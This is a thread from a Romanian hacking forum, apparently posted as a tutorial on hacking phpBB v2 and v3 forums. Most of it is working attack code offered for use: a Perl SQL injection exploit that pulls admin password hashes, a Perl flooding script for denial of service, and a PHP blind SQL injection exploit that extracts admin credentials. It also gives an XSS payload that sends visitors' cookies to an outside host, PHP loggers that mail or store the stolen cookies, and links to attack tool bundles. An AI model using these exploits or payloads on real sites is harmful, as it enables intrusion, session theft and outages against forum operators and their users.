HackPedia - Comunitatea Hackerilor Romani
Hacking, it security, programming, vulnerability, games, newsletter, it and c, programare, ethical hacking, exploits, information security, penetration testing, online security, web hacking,internet, antivirus, security, blocker, firewall
Lista Forumurilor Pe Tematici
HackPedia - Comunitatea Hackerilor Romani | Inregistrare | Login

POZE HACKPEDIA - COMUNITATEA HACKERILOR ROMANI

Nu sunteti logat.
Nou pe simpatie:
geogeorgiana17 pe Simpatie
Femeie
25 ani
Arad
cauta Barbat
26 - 57 ani
HackPedia - Comunitatea Hackerilor Romani / English Tutorials / quote]  
Autor
Mesaj Pagini: 1
Fire7
Membru Freak

Inregistrat: acum 18 ani
Postari: 113
In this little tutorial I will present you how to hack a phpBB v2.x or v3.x and the best exploits,utils etc.. for this :

1. Search for phpBB Forums

First we have to search a phpBB forum.For this go to and tipe "Powered by phpBB"(This is called a Dork).It will result in big ammount of phpBB forums.Chose One and enter.

2. Find out what version its

The second step is to find what version of phpBB is that forum.For that we will use link,where site its the site name.Ex : .

3. Find good exploits

Now that we know the forum version we go to and search for phpBB v2 or v3 depending on what the forum version is.Here i give you some good exploits that if found :

1. phpBB v2 :

  1. phpBB Remote Exploit 2.0.x

[


pus acum 18 ani
   
Fire7
Membru Freak

Inregistrat: acum 18 ani
Postari: 113
1. phpBB Remote Exploit 2.0.x


#!/usr/bin/perl -w
use IO::Socket;


## PROOF-OF-CONCEPT
## * работает только с mysql v>4.0
## * работает только если на форуме не удалено самое первое сообщение
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##


if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // ,\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80" || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed \n";}

## o---[ RusH security team | | 2003 ]---o



  2. phpBB 2.0.19 DOS Vulnerability




#!/usr/bin/perl
#######################################
##   Recoded by: mix2mix and Elioni of
##   And h4cky0u Security Forums )
##   Name: phpBBDoSReloaded
##   Original Author: HaCkZaTaN of Neo Security Team
##   Tested on phpBB 2.0.19 and earlier versions
##   Ported to perl by g30rg3_x
##   Date: 25/01/06
#######################################
use IO::Socket;

## Initialized X
$x = 0;

print q(
  phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
  Recoded by Albanian Hackers Group &
  h4cky0u Security Forums   

);
print q(Host |without-> http://www.| );
$host = <STDIN>;
chop ($host);

print q(Path |example-> /phpBB2/ or /| );
$pth = <STDIN>;
chop ($pth);

print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| );
$type = <STDIN>;
chop ($type);

## Tipi p�r regjistrim
if($type == 1){

## User Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{

## Antari q� regjistrohet automatikisht� "X"
$uname = "username=AHG__" . "$x";

## Emaili q� regjistrohet ne baz�n "X"
$umail = "&email=AHG__" . "$x";

$postit = "$uname"."$umail"."%40ahg-crew.org&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";

$lrg = length $postit;

my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "80",
                                 Proto => "tcp",
                                );
die "\nNuk mundem te lidhemi me hostin sepse �sht dosirat ose nuk egziston: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

$x++;
}

## Tipi 2-sh� p�r K�rkim(Flood)
}
elsif ($type == 2){

while($x != 9999)
{
## Final Search String to Send
$postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

## Posit Length
$lrg = length $postit;

## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "80",
                                 Proto => "tcp",
                                );
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

## Increment X in One for every Loop
$x++;
}
}else{
## STF??? Qfar� keni Shtypur
   die "Mund�sia nuk Lejohet +_-???\n";
}



2. phpBB v3

  1. phpBB 3 Remote SQL Injection Exploit




#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";
echo "by rgod \n";
echo "site:\n";
echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";

/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to phpbb3\n";
echo "user/pass: u need a valid user account with global moderator rights\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix different from default (phpbb_)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "   -u[number]:  specify a user id other than 2 (admin)\n";
echo "   -x:          disclose table prefix through error messages\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p"
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P"
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T"
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u"
{
  $user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-x"
{
  $discl=1;
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";
$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
//echo $html."\n";//debug
//die("Unable to login...";
}
echo "cookie -> ".$cookie."\r\n";
if ($discl)
{
$sql="'suntzuuuuu";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax")
{
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."\n";sleep(2);
}
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
  $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
  echo "sql -> ".$sql."\n";
  $sql=urlencode(strtoupper($sql));
  $data="username=";
  $data.="&icq=";
  $data.="&email=";
  $data.="&aim=";
  $data.="&joined_select=lt";
  $data.="&joined=";
  $data.="&yahoo=";
  $data.="&active_select=lt";
  $data.="&active=";
  $data.="&msn=";
  $data.="&count_select=eq";
  $data.="&count=";
  $data.="&jabber=";
  $data.="&sk=c";
  $data.="&sd=a";
  $data.="&ip=".$sql;
  $data.="&search_group_id=0";
  $data.="&submit=Search";
  $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: Close\r\n";
  $packet.="Cookie: ".$cookie." \r\n\r\n";
  $packet.=$data;
  sendpacketii($packet);
  if (!strstr($html,"No members found for this search criteria") {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
  }
  if ($i==255) {die("Exploit failed...";}
}
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
  $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
  echo "sql -> ".$sql."\n";
  $sql=urlencode(strtoupper($sql));
  $data="username=";
  $data.="&icq=";
  $data.="&email=";
  $data.="&aim=";
  $data.="&joined_select=lt";
  $data.="&joined=";
  $data.="&yahoo=";
  $data.="&active_select=lt";
  $data.="&active=";
  $data.="&msn=";
  $data.="&count_select=eq";
  $data.="&count=";
  $data.="&jabber=";
  $data.="&sk=c";
  $data.="&sd=a";
  $data.="&ip=".$sql;
  $data.="&search_group_id=0";
  $data.="&submit=Search";
  $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: Close\r\n";
  $packet.="Cookie: ".$cookie." \r\n\r\n";
  $packet.=$data;
  sendpacketii($packet);
  if (!strstr($html,"No members found for this search criteria") {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}
  }
  if ($i==255) {die("Exploit failed...";}
$j++;
}
echo "--------------------------------------------------------------------\r\n";
echo "admin          -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>

# milw0rm.com [2006-07-13]



2. Xss phpBB 3.0



Open a text editor such as "notebook"

Enter the following script   

<script> Document.location.replace ( 'http://WWW.SITOWEB/FILE.php?c =' + document.cookie); </ script>

Save the file in img.gif (. GIF)

When you are posting, Vai down on "Attachment uploading"

Show your image.

Now at the bottom are "Posted attachments" and under it your image inserted eg ciao.gif

Now take the direct link of img. Eg:

http://sito_web/phpBB3/files/2_bef6678eecdd2b36db36dd7ed1544ecd.gif

Now just have to disguise the link

Example:

[url = http://sito_web/phpBB3/files/2_bef6678eecdd2b36db36dd7ed1544ecd.gif] Bella girl[/url]

Now all those who use Internet Explorer as your browser, and visit your link ...
Get their cookies.

Log cookies (File.php)

$ Ip = $ _SERVER [ 'REMOTE_ADDR'];
$ UserAgent = $ _SERVER [ 'HTTP_USER_AGENT'];
$Accept $ = $ _SERVER [ 'HTTP_ACCEPT_LANGUAGE'];
$Cookie = $ _GET [ 'c'];
$Myemail = "YOUR E-MAIL;
$Date = today ( "l, j F, Y, g: ia";
$Subject = "Xss phpBB 3";
$Message = "Xss phpBB 3 () 2006
Ip: $ ip
Cookies: $ cookies
Browser: $ userAgent
Language: $ accept
URL: Basic $
Day & Time: $ today \ n";
$ From = "From: $ myemail \ r \ n";
Mail ($ myemail, $ subject, $ message, $ from);
?>

**************************************
Change: $ myemail = "YOUR E-MAIL;

Eg:
**************************************

Log cookies Alternative (File.php)

$ Cookie = $ _GET [ 'c'];
$ Ip = getenv ( 'REMOTE_ADDR');
$ Date = date ( "j F, Y, g: ia";
$ Referer = getenv ( 'HTTP_REFERER');
$ Fp = fopen ( 'file.txt', 'a');
Fwrite ($ fp, 'Cookie:'. $ Cookies. '<br> IP:'. $ Ip. '<br> Date and Time:'. $ Date. '<br> Referer:'. $ Referer. '< br> <br> <br> ');
Fclose ($ fp);
?>


4. Use the Alternative,Tools

1. Ultrahacker AIO - Here you will find the next tools:UC Forum Spam,phpBB Annihilator,phpBB Attacker,phpBB BruteForcer,phpBB DDoS,phpBB Spammer & phpBB Cracker, Download :

2. phpBB v2 Tools AIO - Very Good Hacking AIO Download :

3. phpBB v3 Tools AIO - The latest Hacking AIO whit a lot of tools Download : Pass :

4. phpBB RFI Scanner - Search for RFI Vulnerable Forums Download :

Hope My Little Tutorial Helped You I will translate it later in romanian,it wrote it in english because i love english:X.

Romanian Version :

~by MeSsiAH MT~


pus acum 18 ani
   
Pagini: 1  

Mergi la